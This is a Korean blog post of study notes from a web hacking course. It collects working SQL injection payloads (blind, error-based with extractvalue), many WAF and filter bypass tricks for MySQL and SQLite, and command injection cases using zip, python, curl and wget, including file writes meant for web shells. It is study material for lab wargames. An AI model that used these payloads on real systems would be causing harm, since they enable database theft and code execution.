본문 바로가기

웹해킹/드림핵

드림핵 웹해킹 로드맵 2 Server Side 완강 및 정리

반응형

드림핵 웹해킹 로드맵 2 Server Side 완강 및 정리

드디어 웹해킹 로드맵 다 들었다ㅎㅎ 그리고 워게임 50개 풀었다고 나와서 굉장히 흐뭇하다.

각 문제마다 writeup을 따로 작성했기에 문제 설명은 다른 글에서 확인하길 바란다.

 


Blind SQL Injection


Figure 1. 이진 탐색을 통한 Blind SQL Injection 예시

mysql> select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)

 

Figure 2. 문자 비트 변환 예시

mysql> SELECT bin(ord('A'));
+---------------+
| bin(ord('A')) |
+---------------+
| 1000001       |
+---------------+

 

Figure 3. 비트 연산을 통한 Blind SQL Injection 예시

mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)

 

Figure 3. Error based SQLI 공격 예시

SELECT extractvalue(1,concat(0x3a,version()));

 

extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출합니다. 만약, 두 번째 인자가 올바르지 않은 XPATH 식일 경우 올바르지 않은 XPATH 식이라는 에러 메시지와 함께 잘못된 식을 출력합니다. Figure4,5는 각각 올바른 사용 예시와 올바르지 않은 예시입니다.

 

Figure 4. extractvalue 올바른 예시

mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test                                          |
+-----------------------------------------------+
1 row in set (0.00 sec)

 

Figure 5. extractvalue 잘못된 예시

mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식

 

Figure 6. extractvalue를 이용한 데이터베이스 정보 추출

mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'

 

Bypass WAF

Figure 1. 대소문자 검사 우회

UnIoN SeLecT 1,2,3
selECT SlEep(5)

 

Figure 2. 탐지 과정을 이용한 우회

UNunionION SELselectECT 1,2 --
# => UNION SELECT 1,2 --

 

Figure 3. 문자열 검사 우회

mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;

 

Figure 4. 연산자 검사 우회

mysql> select 1 || 1;

 

^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있습니다.

 

Figure 5. 주석을 이용한 공백 문자 검사 우회

mysql> SELECT/**/'abc';

 

Figure 6. Back Quote을 이용한 공백 문자 검사 우회

mysql> select`username`,(password)from`users`WHERE`username`='admin';

 

Figure 7. MySQL 진법을 이용한 문자열 검사 우회

mysql> select 0x6162, 0b110000101100010;

 

Figure 8. MySQL 함수를 이용한 문자열 검사 우회

mysql> select char(0x61, 0x62);
mysql> select concat(char(0x61), char(0x62));

 

Figure 10. MySQL 개행을 이용한 공백 검사 우회

mysql> select
    -> 1;

mysql> select/**/1;

 

Figure 12. MySQL 기능을 이용한 코드 실행

mysql> select 1 /*!union*/ select 2;

SQLite Bypass

Figure 23. SQLite 함수를 이용한 문자열 검사 우회

sqlite> select char(0x61);
/*
a
*/



Figure 24. SQLite 함수를 이용한 문자열 검사 우회 - 2

sqlite> select char(0x61)||char(0x62);
/*
ab
*/


Figure 25. SQLite 개행을 이용한 공백 검사 우회

sqlite> select
   ...> 1;
/*
1
*/


Figure 26. SQLite 주석을 이용한 공백 검사 우회

sqlite> select/**/1;
/*
1
*/

 


Command Injection Case

 

zip

zip 명령어는 압축 파일을 생성하거나 해제하는 명령어입니다. 해당 명령어의 옵션을 살펴보면, --unzip-command가 존재합니다. 이는 압축 파일을 테스트할 때 사용되는 옵션으로, 인자로 전달된 명령어를 실행합니다. Figure8은 해당 옵션에 “sh -c id”를 전달해 id 명령어를 실행한 결과입니다.

 

Figure 8. zip을 이용한 커맨드 인젝션

$ zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"
updating: etc/passwd (deflated 64%)
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
test of /tmp/test.zip OK


python

파이썬은 명령줄로 코드를 실행할 수 있는 -c 옵션이 존재합니다. Figure9와 같이 파이썬 코드를 실행해 시스템 명령어를 실행할 수 있습니다.

Figure 9. python을 이용한 커맨드 인젝션

$ python -c '__import__("os").system("id")' input.py
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)



curl

curl은 전달된 URL에 접속하는 CLI 프로그램입니다. 앞서 다룬 zip과 파이썬과 같이 명령어를 실행할 수 없지만 -o 옵션을 통해 임의 경로에 파일을 저장할 수 있습니다. 이는 Command Injection Advanced - ll 강의에서 다뤘듯이 웹셸을 올리기 위한 방법으로 사용할 수 있습니다. Figure10은 “http://dreamhack.local”에서 반환하는 데이터를 “hello.txt” 파일로 저장하는 예시입니다.

Figure 10. curl을 이용한 임의 파일 쓰기

$ curl  http://dreamhack.local -o /tmp/hello.txt
Hello !
$ cat /tmp/hello.txt
Hello !

 

 

wget

wget은 전달된 URL에 접속해 파일을 다운로드하는 용도로 사용되는 프로그램입니다. -O 옵션을 사용하면 임의 경로에 파일을 저장할 수 있습니다. Figure11은 “http://dreamhack.local”에서 반환하는 데이터를 “hello.txt” 파일로 저장하는 예시입니다.

Figure 11. wget을 이용한 임의 파일 쓰기

$ wget http://dreamhack.local -O hello.txt
--2020-05-20 14:28:56--  http://dreamhack.local/
Resolving dreamhack.local (dreamhack.local)... 127.0.0.1
Connecting to dreamhack.local (dreamhack.local)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 288 [text/html]
Saving to: ‘/tmp/hello.txt’
/tmp/hello.txt                    100%[============================================>]     288  --.-KB/s    in 0s      
2020-05-20 14:28:56 (22.9 MB/s) - ‘/tmp/hello.txt’ saved [288/288]
$ cat /tmp/hello.txt
Hello !



 

 

 

 

 

728x90